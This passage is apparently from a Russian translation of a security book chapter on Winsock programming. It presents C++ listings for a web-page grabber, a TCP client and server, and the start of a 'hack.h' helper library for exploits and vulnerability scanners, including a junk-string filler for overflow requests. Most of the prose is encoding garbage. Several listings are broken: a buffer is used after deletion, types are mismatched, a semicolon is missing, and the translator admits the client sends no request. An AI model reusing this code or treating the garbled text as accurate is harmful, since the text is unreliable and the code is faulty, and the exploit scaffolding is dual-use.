� Â ñòðîêàõ 52 è 53 ïðîèçâîäèòñÿ î÷èñòêà, âàæíàÿ îïåðàöèÿ, êîòîðîé ÷àñòî
ïðåíåáðåãàþò. Â ïðîöåññå î÷èñòêè âûçûâàþòñÿ äâå ôóíêöèè: closesocket() è
WSACleanup(). Ïåðâàÿ çàêðûâàåò ñîêåò è îñâîáîæäàåò âñå çàíÿòûå èì
ðåñóðñû, âòîðàÿ îñâîáîæäàåò ïàìÿòü, âûäåëåííóþ îáúåêòó WSADATA,
è âûãðóæàåò áèáëèîòåêó ws2_32.dll. Ïî ìåðå âîçðàñòàíèÿ ðàçìåðà è
ñëîæíîñòè âàøèõ ïðîãðàìì î÷åíü âàæíî íå çàáûâàòü ñâîåâðåìåííî
óíè÷òîæàòü íå íóæíûå áîëåå îáúåêòû. Èíà÷å ïðèëîæåíèå áóäåò ïî-
òðåáëÿòü áîëüøå ïàìÿòè, ÷åì íåîáõîäèìî.

1 Â äàííîì ñëó÷àå ïðîùå áûëî áû âîñïîëüçîâàòüñÿ ôóíêöèåé strlen(), êîòîðàÿ âîçâðàùàåò
äëèíó ñòðîêè áåç çàâåðøàþùåãî íóëÿ. Âïðî÷åì, strlen() âû÷èñëÿåòñÿ âî âðåìÿ èñïîëíåíèÿ
ïðîãðàììû, à sizeof  – âî âðåìÿ êîìïèëÿöèè, òàê ÷òî ìû ïîëó÷àåì õîòü íåáîëüøîé äà âûèã-
ðûø â ïðîèçâîäèòåëüíîñòè. (Ïðèì. ïåðåâ.)

2 Íå ñòîëüêî îòïðàâëåííûõ, ñêîëüêî ñêîïèðîâàííûõ â áóôåð ñîêåòà. Äàííûå ìîãóò áûòü
îòïðàâëåíû ïîçäíåå. Åñëè send() âîçâðàùàåò ÷èñëî, ìåíüøåå óêàçàííîé äëèíû äàííûõ, ñëåäó-
åò ïîâòîðèòü âûçîâ, ñìåñòèâ óêàçàòåëü íà íà÷àëî íåîòïðàâëåííûõ äàííûõ è óìåíüøèâ äëèíó
îñòàòêà. (Ïðèì. ïåðåâ.)

Winsock 2.0
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Пример: скачивание Web�страницы
с помощью WinSock
Â ýòîì ïðèìåðå ìû ïîñòðîèì ïðîñòîé ðîáîò äëÿ ñêà÷èâàíèÿ Web-ñòðàíèöû.
Èõ ñîäåðæèìîå áóäåò âûâîäèòüñÿ íà ýêðàí.

Ïðîãðàììà îæèäàåò, ÷òî â êîìàíäíîé ñòðîêå áóäåò çàäàíî òðè àðãóìåíòà:
IP-àäðåñ ñåðâåðà, íîìåð ïîðòà è èìÿ ôàéëà. Îáÿçàòåëüíûì ÿâëÿåòñÿ òîëüêî
IP-àäðåñ. Åñëè ïîðò íå çàäàí, ïî óìîë÷àíèþ ïðèíèìàåòñÿ çíà÷åíèå 80, à â îò-
ñóòñòâèè èìåíè ôàéëà ñêà÷èâàåòñÿ íà÷àëüíàÿ ñòðàíèöà Web-ñåðâåðà. Ïðèëî-
æåíèå äîëæíî îòôèëüòðîâûâàòü âñå ñòðàíèöû, ñîäåðæàùèå ñîîáùåíèÿ îá
îøèáêàõ.

Пример 4.2. Пример 4.2. Пример 4.2. Пример 4.2. Пример 4.2. Простое приложение для скачивания Web*страниц
 1 #include <stdio.h>

 2 #include "hack.h"

 3
 4 int main(int argc, char *argv[])

 5 {

 6   int port = 80;

 7   char* targetip;

 8
 9 if (argc < 2)

10 {

11   printf("WebGrab usage:\r\n");

12   printf("    %s <TargetIP> [port]\r\n", argv[0]);

13   return(0);

14 }

15
16 targetip = argv[1];

17 char* output;

18
19 if (argc >= 3)

20 {

21   port = atoi(argv[2]);

22 }

23
24 if (argc >= 4)

25 {

26   output = get_http(targetip, port, argv[3]);

27 }

28 else

29 {

30   output = get_http(targetip, port, "/");

31 }

32 if( is_string_in("Error 40", output ) ||
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33   is_string_in("302 Object moved", output ) ||

34   is_string_in("404 Not Found", output ) ||

35   is_string_in("404 Object Not Found", output ))

36 {

37   printf("Òàêîé ñòðàíèöû íåò!");

38 }

39 else

40 {

41   printf("%s", output);

42 }

43 return(0);

44 }

Анализ

� Â ñòðîêå âêëþ÷àåòñÿ ôàéë hack.h, êîòîðûé áóäåò ïðåäñòàâëåí íèæå
â ïðèìåðå 4.5.

� Â ñòðîêàõ 32–35 îòôèëüòðîâûâàþòñÿ ðàçëè÷íûå ñîîáùåíèÿ Web-ñåð-
âåðà îá îøèáêàõ, âîçâðàùàåìûå, êîãäà èñêîìîé ñòðàíèöû íà ñåðâåðå íå
îêàçàëîñü.

Программирование
клиентских приложений
Îâëàäåâ îñíîâàìè Winsock, ìîæíî ïðèñòóïàòü ê íàïèñàíèþ ïðèëîæåíèé.
Ìû íà÷íåì ñ êëèåíòñêîãî ïðèëîæåíèÿ, ïîñêîëüêó îíî îáû÷íî ïðîùå ñåð-
âåðíîãî. Íàïèñàíèå ñåðâåðíîãî ïðèëîæåíèÿ áóäåò ïðåäìåòîì ñëåäóþùåãî
ðàçäåëà.

Ïðîãðàììà Cl ientApp.exe îæèäàåò äâà àðãóìåíòà â êîìàíäíîé ñòðîêå. Ïåð-
âûé èç íèõ îáÿçàòåëåí– ýòî ìîæåò áûòü IP-àäðåñ èëè ïîëíîñòüþ îïðåäåëåí-
íîå äîìåííîå èìÿ õîñòà. Âòîðîé àðãóìåíò – íîìåð ïîðòà; åñëè æå îí íå çà-
äàí, òî ïî óìîë÷àíèþ ïðåäïîëàãàåòñÿ çíà÷åíèå 80. Êîãäà ìû çàïóñêàåì ïðî-
ãðàììó, óêàçàâ àäðåñ õîñòà, íà êîòîðîì ðàáîòàåò Web-ñåðâåð, òî ïîëó÷àåì
â îòâåò åãî íà÷àëüíóþ ñòðàíèöó (ïîçæå â ýòîé ãëàâå ìû ðàñøèðèì ôóíêöèî-
íàëüíîñòü, ïîçâîëèâ ñêà÷èâàòü ïðîèçâîëüíûå ñòðàíèöû ñ ñåðâåðà). Ïðîãðàì-
ìà ìîæåò ñîåäèíÿòüñÿ è ñ äðóãèìè ïîðòàìè. Íàïðèìåð, óêàçàâ ïîðò 25 (íà íåì
ðàáîòàåò ïî÷òîâûé ïðîòîêîë Simple Mail Transfer Protocol (SMTP)), ìû ïîëó-
÷èì â îòâåò øàïêó, ñîäåðæàùóþ èíôîðìàöèþ î ñåðâåðå. Íåêîòîðûå ñëóæáû,
íàïðèìåð, Telnet, ðàáîòàþùàÿ íà ïîðòó 23, âîçâðàùàþò, íà ïåðâûé âçãëÿä,
«ìóñîð», íî ýòî òîëüêî êàæåòñÿ – ïðîñòî Telnet òàêèì îáðàçîì ïðåäëàãàåò
ââåñòè èìÿ è ïàðîëü.

Программирование клиентских приложений
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Пример 4.3.Пример 4.3.Пример 4.3.Пример 4.3.Пример 4.3. Клиентское TCP*приложение1

 1 #include <stdio.h>

 2 #include <winsock2.h>

 3
 4 #pragma comment(lib,"ws2_32.lib")

 5 #define STRING_MAX 1024

 6 #define MAX 64000

 7 char *client_send(char *targetip, int port);

 8 {

 9   WSADATA wsaData;

10   WORD wVersionRequested;

11   struct hostent     pTarget;

12   struct sockaddr_in sock;

13   SOCKET             MySock;

14   wVersionRequested = MAKEWORD(2, 2);

15
16   if (WSAStartup(wVersionRequested, &wsaData) < 0)

17   {

18     printf("################# ÎØÈÁÊÀ! ##############\n");

19
20     printf("Âàøà âåðñèÿ ws2_32.dll óñòàðåëà.\n");

21     printf("Ñêà÷àéòå è óñòàíîâèòå áîëåå ñâåæóþ\n");

22     printf("âåðñèþ ws2_32.dll.\n");

23
24     WSACleanup();

25     exit(1);

26   }

27   MySock = socket(AF_INET, SOCK_STREAM, 0);

28   if(MySock==INVALID_SOCKET)

29   {

30     printf("Îøèáêà ñîêåòà!\r\n");

31
32     closesocket(MySock);

33     WSACleanup();

34     exit(1);

35   }

36   if ((pTarget = gethostbyname(targetip)) == NULL)

37   {

38     printf("Íå óäàëîñü ðàçðåøèòü èìÿ %s, ïîïðîáóéòå åùå ðàç.\n",

              targetip);

39     closesocket(MySock);

40     WSACleanup();

* Ïðîãðàììà íàïèñàíà íåêîððåêòíî. Îíà íèêîãäà íå ïðî÷òåò ñòðàíèöó ñ Web-ñåðâåðà, ïî-
ñêîëüêó íå ïîñûëàåò åìó çàïðîñà (ôóíêöèÿ send() íå âûçûâàåòñÿ). Êðîìå òîãî, ïàìÿòü, âû-
äåëåííàÿ ïîä ìàññèâ output â ñòðîêå 56, íèêîãäà íå îñâîáîæäàåòñÿ, òàê êàê ïðåäëîæåíèå,
â êîòîðîì àâòîð õîòåë åå îñâîáîäèòü (ñòðîêà 70), íàõîäèòñÿ ïîñëå âîçâðàòà èç ôóíêöèè. Âïðî-
÷åì, êîå-êàê ïðîãðàììà ðàáîòàòü áóäåò: ñî ñëóæáàìè SMTP è Telnet îíà ñìîæåò ñîåäèíèòüñÿ è
äàæå ïîëó÷èòü îò íèõ îòâåò (Ïðèì. ïåðåâ.)
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41     exit(1);

42   }

43   memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

44   sock.sin_family = AF_INET;

45   sock.sin_port = htons( port );

46   if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))

47   {

48     printf("Íå ìîãó ñîåäèíèòüñÿ ñ õîñòîì.\n");

49     closesocket(MySock);

50     WSACleanup();

51     exit(1);

52   }

53   char *recvString = new char[MAX];

54   int nret;

55   nret = recv(MySock, recvString, MAX + 1, 0);

56   char *output= new char[nret];

57   strcpy(output, "");

58   if (nret == SOCKET_ERROR)

59   {

60     printf("Íåóäà÷íàÿ ïîïûòêà ïîëó÷èòü äàííûå. \n");

61   }

62   else

63   {

64     strncat(output, recvString, nret);

65     delete [ ] recvString;

66   }

67   closesocket(MySock);

68   WSACleanup();

69   return (output);

70   delete [ ] output;

71 }

72 int main(int argc, char *argv[])

73 {

74   int port = 80;

75   char* targetip;

76
77   if (argc < 2)

78   {

79     printf("ClientApp usage:\r\n");

80     printf("    %s <TargetIP> [port]\r\n", argv[0]);

81     return(0);

82   }

83   targetip = argv[1];

84   if (argc >= 3)

85   {

86     port = atoi(argv[2]);

87   }

88   printf("%s", client_send(targetip, port) );

89   return(0);

90 }

Программирование клиентских приложений
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Анализ

� Â ñòðîêàõ 1–6 âêëþ÷àþòñÿ çàãîëîâî÷íûé ôàéëû, çàäàåòñÿ êîìïîíîâêà
ñ áèáëèîòåêîé ws2_32.l ib è îïðåäåëÿþòñÿ äâå  êîíñòàíòû. Êîíñòàíòà
STRING_MAX çàäàåò ìàêñèìàëüíóþ äëèíó ñòðîêè çàïðîñà. Çíà÷åíèå
1024 äîñòàòî÷íî äëÿ «íîðìàëüíûõ» çàïðîñîâ. Íî ýêñïëîéòû è óòèëèòû
äëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåé, îñîáåííî â ðåçóëüòàòå ïåðåïîëíå-
íèÿ áóôåðà, ÷àñòî ïîñûëàþò ãîðàçäî áîëåå äëèííûå çàïðîñû. Êîíñòàíòà
MAX îïðåäåëÿåò ìàêñèìàëüíóþ äëèíó îòâåòà, êàê ïðàâèëî HTML-
ñòðàíèöû. Îíà ãîðàçäî áîëüøå STRING_MAX, íî è òàêîãî áóôåðà ìî-
æåò íå õâàòèòü, òîãäà áóäåò âûäàíî ñîîáùåíèå îá îøèáêå.

� Â ñòðîêå  7 íà÷èíàåòñÿ îïðåäåëåíèå  ôóíêöèè cl ient_send(), îñóùåñòâëÿ-
þùåé îòïðàâêó è ïîëó÷åíèå äàííûõ. Îíà ïðèíèìàåò äâà ïàðàìåòðà: IP-
àäðåñ è íîìåð ïîðòà, ñ êîòîðûì ìû õîòèì ñîåäèíèòüñÿ. Ôóíêöèÿ âîç-
âðàùàåò óêàçàòåëü íà áóôåð, ñîäåðæàùèé ïîëó÷åííûé îò ñåðâåðà îòâåò.

� Â ñòðîêå 9 îáúÿâëÿåòñÿ îáúåêò òèïà WSADATA, êîòîðûé âçàèìîäåé-
ñòâóåò ñ áèáëèîòåêîé ws2_32.dll.

� Â ñòðîêå 10 îáúÿâëåíà ïåðåìåííàÿ wVersionRequest òèïà WORD, êîòîðîé
ìû ïîçæå âîñïîëüçóåìñÿ äëÿ ïðîâåðêè íîìåðà âåðñèè ws2_32.dll.

� Â ñòðîêå 11 îáúÿâëåíà ïåðåìåííàÿ òèïà struct hostent, íåîáõîäèìàÿ äëÿ
ðàçðåøåíèÿ èìåíè õîñòà.

� Â ñòðîêå 12 îáúÿâëåíà ïåðåìåííàÿ òèïà struct sockaddr_in, â êîòîðîé áó-
äåò õðàíèòüñÿ àäðåñíàÿ èíôîðìàöèÿ äëÿ ñîêåòà.

� Â ñòðîêå 13 îáúÿâëåíà ïåðåìåííàÿ òèïà SOCKET, â êîòîðóþ ìû ïîçæå
ïîìåñòèì äåñêðèïòîð ñîêåòà.

� Â ñòðîêàõ 16–26 èíèöèàëèçèðóåòñÿ îáúåêò WSADATA è ïðîâåðÿåòñÿ,
÷òî óñòàíîâëåíà ïîäõîäÿùàÿ âåðñèÿ ws2_32.dll. Åñëè âñå õîðîøî, ôóíê-
öèÿ WSAStartup() âåðíåò 0, â ïðîòèâíîì ñëó÷àå – îòðèöàòåëüíîå ÷èñëî.
Â ïðîãðàììàõ ïîñëîæíåå èíîãäà ïðèõîäèòñÿ âûïîëíÿòü áîëåå òùà-
òåëüíûé àíàëèç êîäà îøèáêè, íî â äàííîì ñëó÷àå âîçâðàò îòðèöàòåëü-
íîãî çíà÷åíèÿ îçíà÷àåò, ñêîðåå âñåãî, ÷òî âåðñèÿ ws2_32.dll íå ãîäèòñÿ.

� Â ñòðîêå 27 ñîçäàåòñÿ ñîêåò. Ïàðàìåòð AF_INET îçíà÷àåò, ÷òî ìû áóäåì
ðàáîòàòü ñ ïðîòîêîëàìè ñåòè Èíòåðíåò. Ñëåäóþùèé ïàðàìåòð ìîæåò
ïðèíèìàòü îäíî èç äâóõ çíà÷åíèé: SOCK_STREAM îáû÷íî îçíà÷àåò
ïðîòîêîë TCP, à SOCK_DGRAM – ïðîòîêîë UDP. Ñëåäîâàòåëüíî, ÷òîáû
ñîçäàòü TCP-ñîåäèíåíèå, íóæíî çàäàòü çíà÷åíèå SOCK_STREAM. Äà-
ëåå ìû ïðîâåðÿåì, óñïåøíî ëè áûë ñîçäàí ñîêåò.

� Â ñòðîêå 36 ïåðåìåííàÿ pTarget óêàçûâàåò íà ñòðóêòóðó, â êîòîðîé õðà-
íÿòñÿ ðåçóëüòàòû ðàçðåøåíèÿ èìåíè õîñòà. Åñëè ýòî ñäåëàòü íå óäàëîñü,
pTarget áóäåò ðàâíà NULL, â òàêîì ñëó÷àå ìû çàâåðøàåì ïðîãðàììó.
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� Â ñòðîêå 43 ïîëó÷åííûé IP-àäðåñ êîïèðóåòñÿ â ñòðóêòóðó sockaddr_in.
� Â ñòðîêàõ 44–45 ìû çàïîëíÿåì îñòàëüíûå ïîëÿ ýòîé ñòðóêòóðû: àäðåñ-

íîå ñåìåéñòâî è íîìåð ïîðòà.
� Â ñòðîêàõ 46–52 ïðîèçâîäèòñÿ ïîïûòêà óñòàíîâèòü ñîåäèíåíèå ñ óêà-

çàííûì IP-àäðåñîì è ïîðòîì. Ôóíêöèè connect() ïåðåäàåòñÿ äåñêðèïòîð
ðàíåå ñîçäàííîãî ñîêåòà (MySock), óêàçàòåëü íà ñòðóêòóðó, ñîäåðæàùóþ
àäðåñíóþ èíôîðìàöèþ (sock), à òàêæå äëèíà ýòîé ñòðóêòóðû.

� Â ñòðîêàõ 53 è 54 îáúÿâëÿþòñÿ ïåðåìåííûå äëÿ õðàíåíèÿ âîçâðàùåí-
íîé ñåðâåðîì èíôîðìàöèè è ÷èñëà ïðî÷èòàííûõ áàéòîâ.

� Â ñòðîêå 55 âûçûâàåòñÿ ôóíêöèÿ recv(), êîòîðàÿ ÷èòàåò äàííûå ñ ñåðâåðà.
� Â ñòðîêàõ 56 è 57 ìû âûäåëÿåì èç êó÷è ïàìÿòü1, â êîòîðóþ áóäóò ñêîïè-

ðîâàíû ïîëó÷åííûå îò ñåðâåðà äàííûå. Äàëåå ïðîâåðÿåòñÿ, íîðìàëüíî
ëè çàâåðøèëàñü îïåðàöèÿ recv(), â ñëó÷àå îøèáêè íà ýêðàí âûâîäèòñÿ
ñîîáùåíèå. Èíà÷å ïîëó÷åííûé îòâåò êîïèðóåòñÿ â áóôåð output* *. (Åñëè
ýòîò øàã îïóñòèòü, òî ïîñêîëüêó áóôåð recvString íå áûë ïðåäâàðèòåëü-
íî èíèöèàëèçèðîâàí, à ïîëó÷åííàÿ ñòðîêà ìîæåò îêàçàòüñÿ êîðî÷å
MAX, òî ïðè ïå÷àòè ðåçóëüòàòà áóäåò âûâåäåíà íå òîëüêî ýòà ñòðîêà, íî
è ìóñîð, ñëåäóþùèé çà íåé).

� Â ñòðîêàõ 67–70 îñâîáîæäàþòñÿ çàõâà÷åííûå ïðîãðàììîé ðåñóðñû è
âîçâðàùàåòñÿ ðåçóëüòàò.

� Â ñòðîêàõ 72–90 îáúÿâëÿþòñÿ ïåðåìåí7íûå äëÿ õðàíåíèÿ àäðåñà è íîìå-
ðà ïîðòà óäàëåííîé ìàøèíû. Ðàçáèðàþòñÿ àðãóìåíòû, çàäàííûå â êî-
ìàíäíîé ñòðîêå, âûçûâàåòñÿ ôóíêöèÿ cl ient_send() è ïîëó÷åííûé îò íåå
ðåçóëüòàò ïå÷àòàåòñÿ íà ýêðàíå.

Программирование
серверных приложений
Ñåðâåðíîå ïðèëîæåíèå âî ìíîãîì ïîõîæå íà êëèåíòñêîå: îáà ïîñûëàþò è
ïðèíèìàþò äàííûå. Ðàçíèöà ñîñòîèò â òîì, êàê óñòàíàâëèâàåòñÿ ñîåäèíåíèå.
Ïî ñâîåé ïðèðîäå ñåðâåð äîëæåí ïàññèâíî æäàòü, ïîêà íå ïðèäåò çàïðîñ îò
êëèåíòà. Ïîñëå òîãî êàê çàïðîñ áóäåò ïðèíÿò, ñåðâåð ìîæåò ïîëüçîâàòüñÿ
òåìè æå ôóíêöèÿìè äëÿ ðàáîòû ñ ñîêåòàìè, ÷òî è êëèåíò. Â ïðèìåðå 4.4 äå-
ìîíñòðèðóåòñÿ ïðîãðàììà, ðàáîòàþùàÿ â ðîëè ñåðâåðà.

1 Îñîáåííî õîðîøî ýòî áóäåò âûãëÿäåòü, åñëè recv() âåðíåò îòðèöàòåëüíîå çíà÷åíèå. Ïðè
ïîïûòêå âûäåëèòü ïàìÿòü ïîä ìàññèâ îòðèöàòåëüíîé äëèíû ïðèëîæåíèå íåìåäëåííî «âû-
ïîëíèò íåäîïóñòèìóþ îïåðàöèþ è áóäåò çàêðûòî». (Ïðèì. ïåðåâ.)

2 Â êîòîðîì íå õâàòàåò ìåñòà äëÿ çàâåðøàþùåãî íóëÿ. Âîò òàê è âîçíèêàåò ïåðåïîëíåíèå
áóôåðà. (Ïðèì. ïåðåâ.)

Программирование серверных приложений
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Пример 4.4. Пример 4.4. Пример 4.4. Пример 4.4. Пример 4.4. Серверное TCP*приложение
 1 #include <stdio.h>

 2 #include <winsock2.h>

 3
 4 #pragma comment (lib, "ws2_32.lib")

 5
 6 #define STRING_MAX 2048

 7 #define MAX 640000

 8 #define MAX_CON 16

 9 bool server(int port, char* send_string)

10 {

11   WSADATA wsaData;

12   WORD wVersionRequested;

13   SOCKET MyServer;

14   int nret;

15
16   wVersionRequested = MAKEWORD(2, 2);

17   if (WSAStartup(wVersionRequested, &wsaData) < 0)

18   {

19     printf("################# ÎØÈÁÊÀ!#######################\n");

20     printf("Âàøà âåðñèÿ ws2_32.dll ñëèøêîì ñòàðà.\n");

21     printf("Çàéäèòå íà ñàéò Microsoft è ñêà÷àéòå áîëåå ñâåæóþ\n");

22     printf("âåðñèþ ws2_32.dll.\n");

23
24     WSACleanup();

25     return (FALSE);

26   }

27
28   MyServer = socket(AF_INET,SOCK_STREAM,0);

29
30   if (MyServer == INVALID_SOCKET)

31   {

32     nret = WSAGetLastError();

33     printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà.\n");

34     closesocket(MyServer);

35     WSACleanup();

36     return (FALSE);

37   }

38   struct sockaddr_in serverInfo;

39   serverInfo.sin_family = AF_INET;

40   serverInfo.sin_addr.s_addr = INADDR_ANY;

41   serverInfo.sin_port = htons(port);

42   nret = bind(MyServer, (struct sockaddr *)&serverInfo,

                sizeof (serverInfo) );

43
44   if (nret == SOCKET_ERROR)

45   {

46     nret = WSAGetLastError();

47     printf("Îøèáêà bind \n");

48
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49     closesocket(MyServer);

50     WSACleanup();

51     return (FALSE);

52   }

53   nret = listen(MyServer, MAX_CON);

54
55   if (nret == SOCKET_ERROR)

56   {

57     nret = WSAGetLastError();

58     printf("Îøèáêà listen\n");

59
60     closesocket(MyServer);

61     WSACleanup();

62     return (FALSE);

63   }

64   SOCKET MyClient;

65   MyClient = accept(MyServer, NULL, NULL);

66
67   if (MyClient == INVALID_SOCKET)

68   {

69     nret = WSAGetLastError();

70     printf("Îøèáêà accept\n");

71     closesocket(MyServer);

72     closesocket(MyClient);

73     WSACleanup();

74     return (FALSE);

75   }

76   char *sendStr = new char[STRING_MAX];

77   strcpy(sendStr, "");

78   strcpy(sendStr, send_string);

79
80   nret = send(MyClient, sendStr, strlen(sendStr)-1, 0);

81
82   if (nret == SOCKET_ERROR)

83   {

84     printf("Îøèáêà ïðè îòïðàâêå ñîîáùåíèÿ")

85   }

86   else

87   {

88     printf("Ñîîáùåíèå îòïðàâëåíî. \n");

89   }

90
91   delete [ ] sendStr;

92   closesocket(MyClient);

93   closesocket(MyServer);

94
95   WSACleanup();

96   return (TRUE);

97 }

98 int main(int argc, char *argv[])

Программирование серверных приложений
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 99 {
100  int port = 777;
101  char* targetip;
102  char* output = NULL;
103
104  if (argc < 2)
105  {
106    printf("ServerApp usage:\r\n");
107    printf("    %s [port]\r\n", argv[0]);
108    return(0);
109  }
110
111  targetip = argv[1];
112  if (argc >= 2)
113  {
114    port = atoi(argv[1]);
115  }
116
117  bool up = TRUE;
118  char sendStr[STRING_MAX];
119
120  strcpy(sendStr, "\r\n Hello World! \r\n\r\n");
121
122  printf("Ñåðâåð çàïóñêàåòñÿ...\n");
123
124  do
125  {
126    up = server(port, sendStr);
127  } while(up);
128
129  return(0);
130}

Ñîáðàâ ïðîãðàììû ClientApp.exe è ServerApp.exe, âû ìîæåòå  ïðîòåñòèðî-
âàòü èõ ñîâìåñòíóþ ðàáîòó. Îòêðîéòå äâà îêíà êîìàíä. Â ïåðâîì çàïóñòèòå
ServerApp.exe íà ëþáîì ïîðòó. Åñëè âû íå óêàæåòå íîìåð ïîðòà, ïî óìîë÷à-
íèþ áóäåò ïðèíÿòî çíà÷åíèå 777. Ïðîãðàììà ñîîáùèò î çàïóñêå è áóäåò
îæèäàòü çàïðîñà íà ñîåäèíåíèå. Âî  âòîðîì îêíå  çàïóñòèòå  ClientApp.exe, çà-
äàâ â êà÷åñòâå ïåðâîãî àðãóìåíòà localhost, à â êà÷åñòâå âòîðîãî – íîìåð ïîðòà,
âûáðàííûé äëÿ ñåðâåðà. Íàæìèòå EnterEnterEnterEnterEnter. Â îêíå êëèåíòà âû äîëæíû óâèäåòü
ñòðîêó Hello World!, à â îêíå ñåðâåðà ñòðîêó «Ñîîáùåíèå îòïðàâëåíî». Ñåðâåð
ïðîäîëæèò ðàáîòó è áóäåò îæèäàòü ñëåäóþùåãî çàïðîñà íà ñîåäèíåíèå. ×òî-
áû îñòàíîâèòü ñåðâåð, íàæìèòå Ctrl+CCtrl+CCtrl+CCtrl+CCtrl+C.

Анализ

� Â ñòðîêå 38 îáúÿâëåíà ïåðåìåííàÿ serverInfo äëÿ õðàíåíèÿ àäðåñíîé èí-
ôîðìàöèè î ñåðâåðå. Â ïîëå sin_addr.s_addr ñòðóêòóðû sockaddr_in çàïè-
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ñûâàåòñÿ êîíñòàíòà INADDR_ANY, îçíà÷àþùàÿ, ÷òî ñåðâåð ãîòîâ
ïðèíèìàòü ñîåäèíåíèÿ íà ëþáîì èç ñåòåâûõ èíòåðôåéñîâ ëîêàëüíîãî
êîìïüþòåðà.

� Â ñòðîêå 41 ñîêåò ïðèâÿçûâàåòñÿ ê àäðåñó ëîêàëüíîãî êîìïüþòåðà ñ ïî-
ìîùüþ ôóíêöèè bind().

� Â ñòðîêå 52 ñåðâåð íà÷èíàåò ïðîñëóøèâàòü ñâîé ïîðò.
� Â ñòðîêàõ 64–75 ñåðâåð ïðèíèìàåò ïîñòóïèâøèé çàïðîñ è ñîçäàåò íî-

âûé ñîêåò (MyClient) äëÿ îáìåíà äàííûìè ñ êëèåíòîì. À èñõîäíûé ñîêåò
ìîæíî ïðîäîëæàòü èñïîëüçîâàòü äëÿ ïðèåìà íîâûõ ñîåäèíåíèé.

� Â ñòðîêå 80 âûçûâàåòñÿ ôóíêöèÿ send(), êîòîðàÿ îòïðàâëÿåò äàííûå.
Â ñëó÷àå óñïåõà îíà âåðíåò ÷èñëî îòïðàâëåííûõ áàéòîâ, â ïðîòèâíîì
ñëó÷àå – ïðèçíàê îøèáêè (îòðèöàòåëüíîå ÷èñëî).

� Â ñòðîêàõ 98–130 îïðåäåëÿåòñÿ ôóíêöèÿ main(), êîòîðàÿ ðàçáèðàåò àðãó-
ìåíòû, çàäàííûå â êîìàíäíîé ñòðîêå, è ïåðåäàåò èõ ôóíêöèè server().
Ñåðâåð ïàññèâíî îæèäàåò çàïðîñà íà ñîåäèíåíèå è, ïîëó÷èâ åãî, îò-
ïðàâëÿåò â îòâåò ñòðîêó Hello World. Îí áóäåò ïðîäîëæàòü ðàáîòàòü,
ïîêà íå ïðîèçîéäåò îøèáêà â ôóíêöèè server().

Написание эксплойтов и программ
для проверки наличия уязвимостей
Îñâîèâøèñü ñ ïðîãðàììèðîâàíèåì íà îñíîâå Winsock 2, ìîæíî ïðèñòóïàòü
ê íàïèñàíèþ ýêñïëîéòîâ è ïðîãðàìì äëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåé.
Ïðè ýòîì õîðîøî áû èìåòü â ñâîåì ðàñïîðÿæåíèè íàáîð ïðîòåñòèðîâàííûõ
ôóíêöèé, êîòîðûå ìîæíî ïîâòîðíî èñïîëüçîâàòü â ðàçíûõ ïðîåêòàõ. Ïðèâå-
äåííûé íèæå «ïóñòîé» ýêñïëîéò ñîñòîèò èç äâóõ ôàéëîâ: empty.cpp è hack.h. Íå
âñå ñîäåðæàùèåñÿ â íèõ ôóíêöèè îòíîñÿòñÿ ê ðàáîòå ñ ñîêåòàìè, íî òàê èëè
èíà÷å îêàçûâàþòñÿ ïîëåçíûìè ïðè íàïèñàíèè ðåàëüíûõ ýêñïëîéòîâ èëè ñêà-
íåðîâ óÿçâèìîñòåé. Âñå ôóíêöèè, êðîìå îäíîé, íàõîäÿòñÿ â çàãîëîâî÷íîì
ôàéëå hack.h, êîòîðûé âêëþ÷àåòñÿ â èñõîäíûé òåêñò ðåàëüíûõ ýêñïëîéòîâ,
ïðèâåäåííûõ äàëåå â ýòîé ãëàâå.

Пример 4.5. Пример 4.5. Пример 4.5. Пример 4.5. Пример 4.5. Функции в файле hack.h
1 #include <winsock2.h>

2
3 #pragma comment(lib,"ws2_32.lib")

4 #define STRING_MAX 65536

5 #define MAX 8388608

6 char *junk(char *input, int repeat)

7 {

Написание эксплойтов и программ для проверки наличия уязвимостей
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 8   int maxSize;

 9   char *junkString = new char[STRING_MAX];

10   strcpy(junkString, "");

11
12   if( repeat < STRING_MAX && repeat > 0  && strlen(input) != 0

13       && strlen(input) <= (STRING_MAX – 1))

14   {

15     maxSize = (STRING_MAX – 1)/strlen(input);

16     for(int count = 0; count < repeat

17                        && count < maxSize; count++)

18     {

19       strcat(junkString, input);

20     }

21   }

22   else

23   {

24     printf("Íåêîððåêòíûå ïàðàìåòðû! \n");

25     strcpy(junkString,"—FAILURE—");

26   }

27   delete [] junkString;

28   return (junkString);

29 }

30 bool is_up(char *targetip, int port)

31 {

32   WSADATA wsaData;

33   WORD wVersionRequested;

34   struct hostent   target_ptr;

35   struct sockaddr_in sock;

36   SOCKET MySock;

37   wVersionRequested = MAKEWORD(2, 2);

38   if (WSAStartup(wVersionRequested, &wsaData) < 0)

39   {

40     printf("############ÎØÈÁÊÀ!####################\n");

41     printf("Âàøà âåðñèÿ ws2_32.dll ñëèøêîì ñòàðà.\n");

42     printf("Çàéäèòå íà ñàéò Microsoft è ñêà÷àéòå áîëåå ñâåæóþ\n");

43     printf("âåðñèþ ws2_32.dll.\n");

44
45     WSACleanup();

46     return (FALSE);

47   }

48   MySock = socket(AF_INET, SOCK_STREAM, 0);

49   if(MySock==INVALID_SOCKET)

50   {

51     printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà!\r\n");

52     closesocket(MySock);

53     WSACleanup();

54     return (FALSE);

55   }

56   if ((pTarget = gethostbyname(targetip)) == NULL)
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 57   {

 58     printf("\nÍå óäàëîñü ðàçðåøèòü èìÿ %s, ïîïðîáóéòå åùå ðàç.\n.\n",

              targetip);

 59
 60     closesocket(MySock);

 61     WSACleanup();

 62     return (FALSE);

 63   }

 64   memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

 65   sock.sin_family = AF_INET;

 66   sock.sin_port = htons((USHORT)port);

 67   if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))

 68   {

 69     closesocket(MySock);

 70     WSACleanup();

 71
 72     return (FALSE);

 73   }

 74   else

 75   {

 76     closesocket(MySock);

 77     WSACleanup();

 78     return (TRUE);

 79   }

 80 }

 81 bool is_string_in(char *needle, char *haystack)

 82 {

 83   char *loc = strstr(haystack, needle);

 84   if( loc != NULL )

 85   {

 86     return(TRUE);

 87   }

 88   else

 89   {

 90     return(FALSE);
